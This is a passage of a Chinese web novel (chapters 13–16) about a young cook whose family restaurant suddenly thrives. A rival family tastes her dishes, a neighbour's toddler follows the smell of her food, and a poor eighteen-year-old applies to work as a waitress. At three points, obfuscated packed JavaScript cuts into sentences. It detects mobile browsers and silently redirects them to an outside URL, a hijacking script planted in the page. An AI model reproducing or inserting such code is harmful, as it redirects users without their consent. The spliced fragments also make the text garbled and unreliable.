白衣食客忍不住又咽了咽口水：“这香味，一闻就知道绝了！肯定好卖！老板，您就上架吧，我第一个捧场！”他搓着手，嘿嘿一笑，“那个……我能……尝一口不？就一口！” 许知味略一思忖，眉眼弯弯：“那我给您从锅里盛一小碗。锅里的我们没吃过，是干净的。” “太好了！多谢老板！” 另一桌的客人也被这香气勾得心痒，连忙探头：“我们也能尝尝吗？” 许知味便从锅里舀出两小碗，分别端给两桌客人。 刚出锅的汆汤肉滚烫灼人，白衣食客却等不及放凉，夹起一片肉便往嘴里送。 裹着薄薄粉浆的肉片，滑嫩如凝脂，入口即化，仿佛在舌尖上轻轻绽开。内里的肉片随即溜入齿间，鲜嫩得难以言喻，宛如在味蕾上跳起一支丝滑的华尔兹，舞得白衣食客心神荡漾。 “我草！”他瞪大了眼睛，脱口惊呼。 另一桌的食客也是同样反应，连连惊叹：“我去！” “老板，您这手艺神了！”白衣食客激动地竖起大拇指。他本是汆汤肉爱好者，此刻尝到这般滋味，连面前那碗蛋炒饭都顾不上了，只想埋头猛吃这一碗肉。 许知味浅浅一笑，继续低头吃饭。没吃几口，听见白衣食客又唤：“老板。” 她抬头，只见对方竟已泪流满面，声音哽咽：“老板……我从没吃过这么……这么好吃的汆汤肉。吃了这一碗，感觉这辈子都值了！” 许知味看着他激动难抑的模样，心中暗忖：这碗汆汤肉，她不过用了三四分心思。若真全力以赴，将每道工序都锤炼到极致，那鲜美嫩滑，还能再翻几番。 若是这位食客尝了她做的满级汆汤肉，恐怕哭得比现在更夸张。 她正想着，白衣食客已一把抹去脸上的泪，急切地问：“老板！锅里还有吗？我买！多少钱我都买！” “锅里已经没了。” “那……那能现做一份吗？我要一碗！现在就买！” 汆汤肉，在海城通常卖三十元一份。春熙老街地段不如城里其他地方繁华，消费水平略低，大多只卖二十八元。 许知味沉吟片刻，开口道：“正常汤碗分量，三十五元一份。” 白衣食客毫不犹豫：“我要一份！” “好。” 另一桌食客也意犹未尽，却犹豫起来。三十五元，比别家贵了整整七块呢！但终究抵不过舌尖残留的诱惑，也要了一份。 许知味和父亲快速扒完碗里的饭，转身便进了厨房。 许爸一边打着下手，一边低声道：“你刚才开口要三十五，我还怕把人家吓跑，没想到他眼睛都不眨一下。” 许知味微微侧首：“爸，你觉得这价定高了？” 许爸一愣，随即摇头：“不高，一点儿都不高。”他心想，以女儿这手艺，三十五元简直是委屈了这碗肉！食客花三十五元能吃到如此美味的汆汤肉，可是占了大便宜。 与此同时，街头“好再来”饭馆里，李老板坐在柜台前，对着账本眉头紧锁。 这一周以来，店里的流水明显下滑。起初他以为是天气炎热，食客胃口不佳。可这都周末了，照理说再怎样也该回温一些，谁知生意反倒比工作日还冷清。 李老板的妻子沉吟道：“不是味道的问题，你的手艺又没有突然变差。会不会是外卖平台又在搞大促？前段时间不是新上了个平台吗，听说折扣打得凶。” 随着网购外卖兴起，实体店越发难做，餐饮行业更是如此。他们家要不是靠着这两年积攒的好口碑，恐怕早就跟街头那家“许记饭馆”一样，撑不下去了。 提到许记，李老板妻子叹道：“前阵子我从他们家门口过，饭点都没几个人，眼看就要关门倒闭了。” 李老板哼了一声：“那不是挺好？少个竞争对手。” 妻子点点头。转眼到了下午五点，饭点已至。客人陆陆续续进门。 到了六点，店里十张桌子只坐了四桌。放在平时，这会儿至少该有六桌满座。四桌虽说不算太差，但跟从前比，可是差了一大截。 李老板看着这情形，眉头越皱越紧，转身钻进后厨忙活。 忽然，女儿李金金风风火火冲进来，压低声音道：“爸！您猜我瞧见什么了！” 李老板正颠着勺，头也不回：“什么事大惊小怪的？” “就那许记饭馆！之前饭点鬼影子都没一个，今天居然坐满了！门口还有人排队等位！” 李老板诧异：“他们搞打折促销了？” “没有！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16581397|187214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那就奇了怪了……难不成换老板了？” “还是那几个人。”李金说道，“我躲在边上观察，正好看见有客人打包出来，就上前打听了一下。你猜人家怎么说？说许记的味道比星级大酒店还棒！” “真的？”李老板将信将疑。 “千真万确！我还以为是他们请了什么大厨，再一打听，掌勺的还是许老板和他女儿！” “那怎么会……”李老板拧紧眉头。之前为了摸清对手底细，他特意点过许记的饭菜。味道嘛，也就寻常家常菜水平。 既然没换人，这味道怎么能突然变得这么厉害？ “这里头有猫腻。”李老板摸着下巴，“该不会是……请了饭托吧？” 李金金附和：“我看像。” 请饭托造势，利用路人从众心理引流，这招在餐饮界不算新鲜。 李金金又补充道：“我还看见咱们家的老熟客从他们店里出来呢。我看啊，咱家生意下滑，八成就是被许记影响的。” 李老板脸色一沉。许记请不请饭托他管不着，但要是影响到自家生意，那可不能坐视不管。 他正盘算着怎么揭穿许记的把戏，妻子却在一旁冷静提醒：“万一人家厨艺是真长进了呢？说不定专门去拜师学艺了。” 李老板不以为然：“怎么可能？前几天还半死不活的，这才几天功夫，厨艺就能突飞猛进？” 李金金沉吟片刻，提议：“要不……咱们点个他们家的外卖，亲自尝尝再说？” “他们家外卖都关了没做了。” “那就点个跑腿的！” 李金金叫了个跑腿小哥。小哥虽然纳闷，两家店就隔着一百五十米，怎么还需要跑腿？但有轻松钱赚，他也不多问。 一踏进许记饭馆，一股勾魂夺魄的香气便扑面而来，瞬间将他裹挟。那一刻，他几乎忘了自己还在工作，只想找个空位坐下，大快朵颐。 小哥拎着餐盒一路小跑回到“好再来”，放下袋子就匆匆离去。他已经等不及要回去许记吃饭了！ 他匆忙离去，仿佛身后有洪水猛兽在追，仿佛要去做什么要紧的大事，李家三口面面相觑，一时无言。 李金金打开餐袋，取出饭盒：“来吧，尝尝看究竟如何。” 李老板抱臂站在一旁，满脸不屑：“肯定还是老样子，普普通通。要我说，他们家绝对是在请托演戏。” 14. 第十四章 饭盒一揭，金晃晃的蛋炒饭跳进眼里。 李老板见这蛋炒饭的成色，一怔。这饭的品相……好！他自己是决计炒不出的这样的品相的。 李金金“呀”了一声：“这蛋炒饭……” 李老板的妻子也露出讶异的神色。 一家三口各尝了一口蛋炒饭，都不言语了。 李老板慢慢嚼着，品蛋香在嘴里回旋。这炒蛋，是一种从他从未吃到过的嫩滑与鲜润。鸡蛋仿佛在舌尖化了开来，漾出一层一层的滋味，鲜得正好。 鲜中，又夹着一丝若有若无的葱香，把蛋的本味吊得十足。 火候拿得堪称绝妙，多一分则老，少一分则生，这蛋炒得，可算到顶了！ 李老板默默撂下筷子，脸上变了几变，半晌，喉咙里滚出几个字，带着难以置信：“怎么会……这样好吃？” 李金金咂咂嘴：“就是，怎么这样好吃！” 他妻子接话：“比珍馐记的还好吃……” 三人你看我，我看你。 何止是好吃！这水准，莫说他这小小的“好再来”，就是市中心那些价码顶高的大酒楼，也足以称得上是主要招牌了！ 李老板默然，先前的笃定与轻视如同被戳破的气球，瞬间消散。 他妻子从美食的冲击中回过神，看着丈夫复杂的脸色，轻叹：“看来，不是饭托。人家是真有本事。” 李金金呆呆望着蛋炒饭，喃喃道：“这……许记饭馆是得了什么大厨指点？厨艺进步得也太吓人了！” 说着，她又舀起一勺蛋炒饭，一勺接一勺。眼见蛋炒饭迅速减少，李老板和妻子也赶忙加入争抢的行列。 一家三口飞快地吃着，一份蛋炒饭很快见底。眼见盒底只剩最后一点，李金金眼疾手快地伸勺去舀。 下一刻，三个勺子同时停在了最后一口蛋炒饭上。一家三口你瞅瞅我，我瞅瞅你，似乎谁都不愿放弃这最后一口。 “咳！”李金金直接夺过饭盒，“爸妈你们得让着小孩子！大人怎么能跟小孩子抢吃的呢！” 李老板和妻子：“……” 都二十几岁的人了，还好意思说自己是小孩子？！ 两口子眼睁睁看着女儿把最后一口饭塞进嘴。 李老板意犹未尽地舔舔嘴：“再去买几份蛋炒饭。” 话出口，李老板脸色便僵了。去买对头家的饭，实在丢份。更丢份的是，先前还瞧不上人家，以为人家弄虚作假。 脸上又僵又疼，却又不得不服气。人家这蛋炒饭，确实得竖大拇指。 普普通通的蛋炒饭能做到这地步，不由人不佩服！ 可许家到底是怎么回事？手艺怎么忽然就这样好了？ 好到什么程度呢？好到他觉得自己以前在专业学校学的厨艺简直不值一提！简直是一坨狗屎！ 好到他想跪到许家人面前拜师！ 彼时，许记饭馆里。六张桌子坐得爆满。 在边上等待排号的食客，只能闻着香味，看着别人大快朵颐，自己干着急，忍不住抱怨：“老板啊！你们这桌位不够啊，得再添几张桌子才好。” 正忙得团团转的许妈连连点头。她一边收拾桌子，一边应道：“桌位是少了，之后再添两桌。” 馆子小，再添两张就挤了。许妈心里泛起甜蜜的烦恼。生意好添桌子是好事，可添了又嫌挤。换大些的铺面吧，一时又没那么多钱。 往后再说。等生意一直这样好，就能考虑换大店面了。 “老板，我的苕粉皮子还要多久？”有食客招手。 许妈赶紧应声：“这就给您催催。” “老板我这边结账，多少钱？” 许妈：“马上马上，我看看！” “老板，我要一个蛋炒饭！” 许妈：“好嘞，请稍等！” 太忙了。她一个人完全忙不过来。只希望能快点招到服务员！ 一直忙到晚上九点。还有客人来吃饭。许知味让许妈停了单子。九点前的单子还有好几份没做，再接，又得忙到深夜，睡太晚身子扛不住。为着长远着想，得顾惜身体。 许妈点头，没再接单。 没吃上的食客：“啊？就不接单了？才九点啊！” 许妈微笑，满含歉意：“太晚了，身体吃不消啊。” “可我专门来吃蛋炒饭的！老板行行好，通融通融，给我炒一份吧！要不了多少时间！” 许妈：“前面还有好几单没做呢，真的不能再接单了。您以后可以早点来，咱家打烊了是不能再接单的。” “真的不能吗，求求您了！” “真的很抱歉。” “老板，怎么有钱也不赚啊！” 许妈心情很是复杂。以前是想赚钱赚不到，现在是客人求着给钱，自己却没法要。 唉，这可真是甜蜜的烦恼！ 她蹙着眉，嘴角却不由自主地弯上去。 十点多，许妈理好账本。今儿晚开业一个钟头，也只卖几样菜，但营业额反比昨天高，利钱也多几百。昨天利钱三千二，今儿有三千六。 她乐得合不拢嘴，先前因忧愁生计而总是暗淡的脸色，此刻容光焕发。 许爸亦是如此，先前小店濒临倒闭，他总是紧锁眉头，眉心留下了深深的褶痕，这几日生意好转，他眉间的褶痕都浅了不少。 不仅是因为生意好而高兴。每天能吃到如此美味的食物，也让人心情愉悦！许爸吸溜一口汆汤肉，如是想道。 今晚的夜宵有汆汤肉，毛毛捧着小碗，指向桌上的汆汤肉：“毛毛吃这个！” 许知味笑着给她舀了一小碗。毛毛吃完，嘴巴油乎乎的，又指向汆汤肉，奶声奶气道：“毛毛再吃！” 许妈拦住她：“你都吃多少了，还吃？别把肚子撑坏了。” 毛毛拍拍圆鼓鼓的小肚子：“毛毛还能吃！” “别吃了，本来大晚上吃这个就不好消化。”许妈拍拍她。小孩子吃东西没分寸，只知道好吃就要吃，不晓得自己的肚子受不受得了。 毛毛最近饭量涨了不少，都是因为许知味做的饭太好吃。这孩子越吃越喜欢，吃东西也越来越没节制。 不让吃了，毛毛瘪起小嘴。 许知味笑道：“毛毛，再吃肚子撑坏了，会很难受，难受了就吃不进去东西，可能很久都吃不到姐姐做的好吃的了。” 听到这话，毛毛圆溜溜的眼睛立刻瞪大：“不行！不难受！毛毛不要难受！” 难受了，就吃不进去东西，可能很久都吃不到姐姐做的好吃的了！这不行！她要天天吃姐姐做的好吃的！ 毛毛被吓到了，立刻摇头：“毛毛不吃了，毛毛吃饱了！” 许爸许妈失笑。知味做的饭这么好吃，要是因为肚子难受而不能吃，他们也不愿意！ 明日是周一。许知味得去江城处理工作以及租房那边的事。她这次匆匆回来，很多事都没来得及处理妥当。 许爸许妈一同前去帮她收拾。 她去处理公司的事，许爸许妈则帮她收拾行李。她东西不算多，但两个行李箱也装满了，外加一个塞得鼓鼓的背包。 回程路上，许妈收到杨奶奶发来的消息。杨奶奶说，刚才看到好些人在许记饭馆门前张望，都是来吃饭的。看到饭馆挂着的休息牌，个个都垂头丧气。 这边厢，杨奶奶给许妈发完消息后，又瞥了眼许记饭馆门口。这会儿正是下午一点，饭点时分，一波又一波人来到许记饭馆，见关了门，便失望离去。 “咋不营业！我想吃槐叶冷淘面啊！” “上面有老板电话，我打电话问问。” “我还说今天晚饭请朋友吃苕粉皮子呢，结果不营业！” “靠！周一居然歇业？！！” 听着食客们的抱怨，杨奶奶捂嘴偷笑。她收回目光，去整理货架上的货物。 幼儿园四点半放学。许妈他们四点半赶不回来，大概五点半多才能到家。许妈就拜托杨奶奶帮忙接孩子。杨奶奶爽快答应了。许妈说了，等回来请他们老两口去家里吃饭呢。 想着许家闺女的手艺，杨奶奶嘴里禁不住分泌出口水。她有些迫不及待，恨不得立刻就能吃到许家的饭菜。 她看了看钟表，怎么时间过得这么慢，还不到五点半！ 五点四十多，许家一家人抵达海城。从杨家小卖部接走毛毛，一家人很快回到家里。 毛毛注意到许知味手上戴了表。许知味和父母以前是不戴表的，今天许知味想着以后要经常待在厨房，拿手机不方便，戴表更便利，就戴上了。 毛毛看看自己手上的小天才电话手表，又看看许知味手腕上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604447|187214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表：“姐姐，你戴的是老天才电话手表吗？” 许知味：“为什么我的就不能和你一样，是小天才电话手表？” 毛毛带着小奶音：“姐姐比我老，就戴老天才电话手表。” 许知味：“……” 人类幼崽有自己独特的一套语言逻辑，毛毛的童言稚语，真是可爱得让人晕眩。 许知味抱起肉嘟嘟的毛毛，rua了rua她：“嗯，姐姐戴的是老天才电话手表。” 许妈看了她们一眼：“好了，赶紧收拾收拾，别磨蹭了。” 晚饭许知味准备做洋芋丝粑粑。洋芋丝粑粑是川渝特色农家菜，以前爷爷奶奶还在时，许知味就很喜欢他们做的洋芋丝粑粑。 厨房里，许知味将切好的洋芋丝放进碗里，加盐，加酸水腌制。老坛泡的酸水腌制洋芋丝，口感清爽不腻。 这边厢，许爸舀了些苕粉，掺水搅拌。等洋芋丝腌好了，许知味把苕粉粉浆倒进洋芋丝里拌匀。 锅热油温恰当时，裹了苕粉粉浆的洋芋丝倒进锅里煎制。 筷子在锅里不停搅拌，待水汽差不多收干，许知味用锅铲将洋芋丝压平。 洋芋丝被压成饼状，在滋滋作响声中，底面逐渐变得金黄。洋芋丝的清香与苕粉的清香混合着煎制后的焦香，呲呲啦啦地奔涌而出。 毛毛站在灶边，使劲吸着鼻子：“香！好香呀！” 两面都煎至金黄，起锅，许知味把做好的洋芋丝粑粑切成方形小块。 接着锅里炒腊肉，煸出油香，放入大蒜和洋芋丝粑粑一同翻炒。 瞬间，大蒜的辛香、洋芋丝的清香与腊肉的咸香融合在一起。 毛毛被香得口水直流：“哇！哇！” 许妈许爸也被香得晕头转向。夫妻俩不停咽着口水。都恨不得扑进锅里尝一口这洋芋丝粑粑。 许知味翻炒片刻，加入生抽提味，最后出锅时，撒上生香菜碎末。 金黄油亮、香气四溢的洋芋丝粑粑大功告成！ 就在这时，杨爷爷杨奶奶拎着自家小卖部的饮料到了许家。一进门，就被一股浓香冲得差点摔个跟头。 “哎哟，这是做了啥，咋这么香！”杨奶奶倒吸一口气。 许妈道：“也没做什么，就做了小菜豆腐汤、洋芋丝粑粑、炒香肠、酸辣土豆片。没什么好菜。” “这些就够了，”杨奶奶一边进厨房，一边问，“都是知味做的？” “不是，知味只做了洋芋丝粑粑，其他都是老许做的。” 菜端上桌，杨奶奶杨爷爷一眼就锁定了桌上香气格外诱人的洋芋丝粑粑。 老两口第一时间去夹洋芋丝粑粑。 牙齿咬下，轻轻一刺，就穿透了表面的锅巴。锅巴焦脆，酥香，带着清新的气息。 还在感受锅巴的美妙滋味时，锅巴里面包裹着的苕粉和洋芋丝触及齿间。里面的苕粉，如云朵般蓬松弹牙。 夹杂着的土豆丝清香柔软。腊肉的独特烟熏风味十足，口感咸鲜宜人。 整个洋芋丝粑粑，酥脆、弹牙、咸鲜，余味带着淡淡清香，让人咽下后，回味无穷！ “好吃！”杨奶奶杨爷爷异口同声。 “哎哟老天爷，这个洋芋丝粑粑，咋能做得这么香哪！”杨奶奶赞不绝口。 许知味笑笑：“您要喜欢，回头我再给您做些，您带回去吃。” “那咋能行，我们————” “没事的，喜欢吃就成。” 杨奶奶是个厚道人，脸皮也薄，按她以往的性子，这会儿得再推辞，然而许知味做的洋芋丝粑粑实在太好吃了，她真的很难拒绝。 于是她难为情道：“那、那就多谢了。” “不用这么客气。”说着，许知味给杨奶奶杨爷爷又夹了洋芋丝粑粑。 小菜豆腐汤、炒香肠、酸辣土豆片是许爸做的，味道也很不错。杨奶奶咂咂嘴：“小许啊，你手艺比以前有长进。” 许爸听了这话，笑得见牙不见眼：“最近跟着知味学厨艺，是进步了些。” 杨奶奶笑道：“哎哟，有这么个手艺好的闺女，以后你们可享口福喽！” 说着，杨奶奶心中不禁艳羡起来。她要是有个手艺这么好的孙女，怕是做梦都能笑醒。 杨奶奶正这般想着，许家门铃忽然被人按响了。 15. 第十五章 许知味离门近，当即放下筷子走向门口。她没有立刻开门，习惯性地先朝猫眼望去。 门外空无一人。 她正疑惑，忽见视野下方有一小团影子。视线下移，赫然对上一双乌溜溜的圆眼睛。 一个约莫五岁的小男孩站在门外，胖嘟嘟的脸蛋贴在门板上，仿佛正努力从外往里窥看。 许知味拉开门，低头注视这孩子。 “小朋友，你怎么在这儿？爸爸妈妈呢？” 小男孩吮着食指，嘴角挂着亮晶晶的口水。门一开，他立刻仰起小脸，鼻子用力吸了吸，圆溜溜的眼珠直勾勾盯向屋内：“香，香香！” 他被香味勾得直流口水的模样，活像被鱼腥味引来的一只小猫。 许知味挑眉，还未再问，就听楼尽头传来匆促的脚步声与焦急的呼唤：“牛牛！牛牛！” 一对年轻夫妇从楼梯口奔来。牛牛妈一把搂住小男孩，喘着气说：“你这孩子，一眨眼就跑没影，吓死爸爸妈妈了！” 爸爸也松了口气，抹了把额角的汗：“牛牛，你怎么跑到这儿来了！” 牛牛伸着小胖手指向许知味：“香香，好吃，牛牛要吃！” 牛牛爸妈顿时明白过来了。 “你这鼻子怎么这么灵，隔着一层楼都能闻到味儿！”牛牛爸说完，歉然对许知味说：“对不起啊，我们住四楼，你们楼上，刚才没关好门，这小子自己溜出来了。没打扰吧？” “没事。”许知味微笑。 被称为牛牛的小男孩在妈妈怀里，扭身指向许家屋内，胖手指坚定不移：“妈妈，香！吃！牛牛要吃！” 牛牛妈嗅到从许家飘出的浓郁香气。焦香、腊肉咸香与土豆清香交融，复合出来的浓香，确实诱人。 她咽咽嗓子，不好意思地笑笑：“这孩子就是馋，闻到好吃的就走不动。真对不起，我们这就回去。” “要吃！牛牛要吃！”小牛牛眼看要与“香香”失之交臂，顿时不依。 他在妈妈怀里蹬着小短腿，眼泪说掉就掉，金豆子啪嗒直落，哭得撕心裂肺，仿佛不吃这香香的东西，人生就没了意义。 许知味被这小馋猫逗乐了：“我家是开饭馆的，就老街六巷十三号许记饭馆，许诺的许。小朋友想吃，可以去店里尝尝。” 牛牛哭声戛然而止：“饭馆？” “是呀。” 牛牛妈咂咂嘴：“六巷十三号的许记饭馆？” “对。” “行，改天去尝尝。”牛牛妈口水止不住，这香味太勾人，难怪牛牛隔一层楼都被引来，这就算是大人，都抵挡不住。 牛牛又闹起来：“现在就要吃！现在就要！” “牛牛，这都几点了，人家早关门了，别闹，快回去！”牛牛妈拉他。 牛牛一屁股坐在地上：“不回去！不回去！要吃！要吃！” 牛牛妈知道儿子脾气，若不依他，能闹一整夜。明天她还要上班，哪能耗得起？她想了想，问道：“小妹，现在能做些吃的吗？我们买。” 许知味看了眼地上哇哇大哭的牛牛：“现在只能做蛋炒饭。” “蛋炒饭？行。” “十二块一份。” “成。” 牛牛一家三口直接进了许家，决定就在这儿吃。万一带回去吃出问题反而麻烦，现场吃有什么事也好直接沟通。 很快，许知味炒好三份蛋炒饭，一次性饭盒与筷子递给牛牛一家。 牛牛眨着还挂泪珠的大眼睛，看看碗里香喷喷的炒饭，他飞快伸出小胖手，拿起勺子迫不及待塞进嘴里。 “唔！”小家伙眼睛瞬间瞪得溜圆，像两颗被点亮的黑葡萄。他也顾不上烫，小嘴巴飞快嚼动，腮帮子塞得鼓鼓的，像只吃到好东西的小仓鼠，脸上洋溢出藏也藏不住的开心。 “慢点吃！”牛牛妈拉住牛牛。牛牛这才放慢咀嚼速度。 而牛牛爸妈尝过蛋炒饭后，反应和牛牛差不多，也顾不上烫，吃得急急燥燥。 见他们一家三口埋头猛吃，许知味莞尔：“慢点，别噎着了。” 吃完，牛牛仰起油汪汪的小脸，对许知味绽开灿烂的笑容，口齿不清道：“姐姐……好七！好七的姐姐！” 许知味眉眼弯弯，这孩子嘴真甜。 牛牛小肚子装不下了，牛牛爸妈却一份没吃够，又请许知味再做两份。许知味转身进了厨房。 吃第二份时，夫妻俩不再那么急切，慢慢咀嚼，细细品味，边吃边和许妈他们聊天。 “你们老家是新家村的？离我们高家村不远啊！”许妈得知牛牛妈老家在高家村，笑道，“咱们算老乡呢。” 牛牛妈笑：“可不是嘛。” 说起许家蛋炒饭好吃，得知许家祖上出过御厨，牛牛妈恍然：“哦，原来祖上有御厨？怪不得手艺这么好！” 随即不好意思，“说来惭愧，我们搬来这栋楼大半年了，第一次知道邻居里有这样一位大厨！平时上下班忙，都没注意。” 许妈摆摆手表示理解，“现在大家都忙，邻里走动是少了。” 两家人，加上杨爷爷杨奶奶，聊得热火朝天。 毛毛则和牛牛坐在一旁玩积木。两个孩子初次见面却十分投缘，玩得到一块儿。 就这样，两家人轻松聊着家常、孩子与美食。原本陌生的楼上楼下邻居，因这次孩子被香味吸引的意外，瞬间拉近了距离。小小客厅里充满食物香气与融洽谈笑。 食物的力量，总是这样朴素而直接。它能跨越，消融陌生，以最原始、最温暖的方式，将人们联结在一起。 快九点时，牛牛爸妈带牛牛离开。牛牛还不愿走，扒着门问：“妈妈，明天还来吃吗？” “明天带你去他们家饭馆吃。” 牛牛开心了，颊边漾开小酒窝。他朝毛毛挥手：“妹妹，明天见！” 毛毛也挥手：“明天见！” 次日，食客们发现菜单上多了一道新菜：朱沱汆汤肉。 王大爷照例第一时间来吃饭。见到新菜，价都没看，直接要了一份。 尝完后他捂住胸口，许知味这姑娘，怎么做啥都这么香！怎么做啥都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609099|187214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好吃到他心坎上。 其他食客也纷纷称赞新菜，一个个朝许妈竖起大拇指。 许妈不禁挺直腰板。如今自家饭馆每天生意好，还能听到食客夸赞，情绪价值拉满。她笑呵呵地给王大爷数钱，这日子啊，真是越过越有盼头喽。 她一口气交齐全部房租，王大爷这次也没推拒。 他吃得心满意足，背手走出小饭馆，来到不远处同样属于他的商铺。这家铺子面积与许记相同，月租也是三千六。 他背着手，对租客周老板说：“下个月起涨两百租金。” 周老板一脸愁容：“房东，现在实体店生意难做，店里收入越来越差，钱不好挣啊，能不能通融一下，别涨了？” “我也难办，周边租金都在涨，我只涨两百已经很厚道了。” “房东……” 王大爷摆手：“真没办法。” 王大爷说现在钱难赚，他手里几间铺子都涨了租。如果不愿接受，可以退租。 最终周老板还是同意了涨价。不同意也没辙，不租了？别处租金比老街这边贵。老街的房租已经算便宜了。 晚上，牛牛一家来饭馆吃饭。一进门就见桌子坐满了，需等位。牛牛妈笑：“味道这么好，生意不好才怪。” 饭馆只供应几样菜，牛牛妈毫不犹豫全点了一遍。 蛋炒饭、苕粉皮子、槐叶冷淘面、凉拌萝卜丝、朱沱汆汤肉、紫苏熟水。每样尝过后，牛牛妈对许知味的厨艺有了更深体会。 “这小妹手艺绝了。”牛牛妈不由喟叹。 牛牛嘴里塞得鼓鼓的：“妈妈，你为什么做不出这么好吃的？” “你妈我要有这手艺，那是祖坟冒青烟。”牛牛妈道。 牛牛眼珠一转：“那我要好吃的姐姐做我妈妈。” 牛牛妈：“……” 这孩子，为口吃的连妈都不要了？！为了口吃的，居然想认别人做妈？！ 夜里，许记打烊后，许妈拿着拖把在店门外拖地。不远处，周老板关店后看见许妈，想起他们是同一个房东，租金原也一样，就走过来问：“老板，王大爷今天给我们涨了二百租金，给你们涨了多少？” 什么，王大爷涨租了？他没提啊。今天交租时也没说。许妈一怔，答道：“王大爷还没说，不过应该和你们涨得差不多。” 周老板点头，抱怨道：“真是要命，本来钱就难赚，现在又涨租！” 埋怨几句后，周老板又道：“最近你们生意越来越红火，恭喜！” 许妈笑笑。回到店内，她和许知味、许爸说起这事。 许知味说：“可能王大爷忘了，以后会提吧。” 许妈发愁：“不知要涨多少。” “应该和别人差不多，别担心。”许知味擦着桌子，“快收拾完回家休息吧，快十点了。” 翌日中午，王大爷吃完饭依旧没提涨租的事。许妈心想他怕是真忘了。她自然不会主动提，巴不得王大爷一直忘记，别涨才好。 此时，许记饭馆外，一个黑瘦的女孩望着饭馆大门。 16. 第十六章 黑瘦的女孩叫林小雨，刚满十八岁的脸上稚气未脱，眉眼间却凝着一层与年龄不符的愁苦和疲惫。 她身上洗得发白的牛仔裤和掉色的旧T恤，站在这座繁华的海城里，显得格格不入。 林小雨是从乡下来海城打工的。今年夏天高中毕业，她考上了大专，可父母不愿再供她读书，硬要她跟着亲戚进厂，给她弟弟挣学费。 她哭着求了又求，父母始终不松口。没办法，她索性离家出走。 来海城时，全身上下只有皱巴巴的一千块。她在老街租了间便宜屋子，在附近工厂找了份活。可没做几天，她就逃也似地离开了。 至于她离开的原因……那个挺着啤酒肚的车间主任，那双不怀好意、总在她身上打转的眼睛，还有那次“不小心”蹭过她手背的触感……林小雨打了个寒噤，不敢再想。她几乎是落荒而逃。 她不敢再找厂里的工作，转而寻觅别的机会，可工作难找，尤其像她这样学历不高的，更是难上加难。 工作至今没有着落，兜里只剩几百块。再找不到事做，她连饭都吃不上了。 她漫无目的地走在老街的石板路上，只觉得前途就像这条陌生而曲折的巷子，望不到光亮。 肚子饿得发慌，她捏紧干瘪的钱包，还是舍不得买点吃的。就在这时，一阵霸道的香气猛地钻进鼻腔。 那是清香的米饭、丰腴的油脂和某种难以言喻的混合滋味，瞬间唤醒了她的味蕾，也让空荡的胃一阵抽搐。 她不由自主地抬头，循着香味望去，看见了“许记饭馆”的招牌，和门口那块小小的粉笔字牌： 【招聘服务员】 月薪三千八，包两餐，不包住。十点半到九点半，月休三天。 林小雨的眼睛一下子亮了。她没有丝毫犹豫，像是怕晚一步机会就会溜走，深吸一口气，推开了那扇散发着食物香气的玻璃门。 “叮铃！”门上的风铃清脆一响。 店里坐满了人，碗碟声、谈笑声热热闹闹地融成一片。一个系着围裙、面容和善的中年女人正端着盘子从厨房出来，看见她站在门口，笑着招呼：“小姑娘，吃饭吗？这会儿没位置了，得等一等。” 林小雨紧张得手心出汗，攥了攥衣角，鼓起勇气开口，声音有点发颤：“阿姨……我、我是看见门口的招聘，想来应聘服务员的。” 许妈停下脚步，仔细看她。女孩瘦瘦小小的，但眼睛很亮，带着一种孤注一掷的恳切。 “你想来做服务员？”许妈语气软了些，“多大了？以前做过吗？” “十八了，”林小雨老实回答，“暑假工做过。我不怕吃苦，什么活都愿意干！”她急切地保证，生怕对方嫌她年轻不想要她。 许妈沉默地看了她几秒。这姑娘眼神干净，带着走投无路下的倔强。 “我们这儿活不轻松，点菜、端盘子、打扫，忙起来脚不沾地。” “我不怕！”林小雨立刻抬头，眼神坚定，“再累我也不怕！” 许妈目光扫过她洗白的衣角和有些开裂的鞋边，终于说：“行，那你就试试。先试用一天。” “要是合适，就留下。我是这儿的老板，待遇牌子上都写了，三千八，包两餐，不包住。早上十点半来，一般九点打烊，收拾完就能走。月休三天。” “谢谢！谢谢老板！”林小雨激动得连连鞠躬，眼眶都红了。虽然只是试用，还不确定能不能留下。可对方愿意给她机会，已经太好了。 许妈摆摆手：“你叫什么？住得远不远？” “林小雨，树林的林，小雨点的小雨。我住前面巷子，不远的。” “那好。有健康证吗？有的话今天拿来，要是方便，今天就试着做做看。” “有！我这就回去拿，马上就来！”林小雨用力点头。 没过多久，林小雨就回到了许记饭馆。许妈看了她的健康证，简单交代了工作内容，就让她上手试试。 林小雨小心收好证件，立刻投入了工作。她记着许妈的吩咐，眼观六路，耳听八方。 点餐时，她认真记下客人的要求，口齿清晰地向厨房报菜名，一点没错。 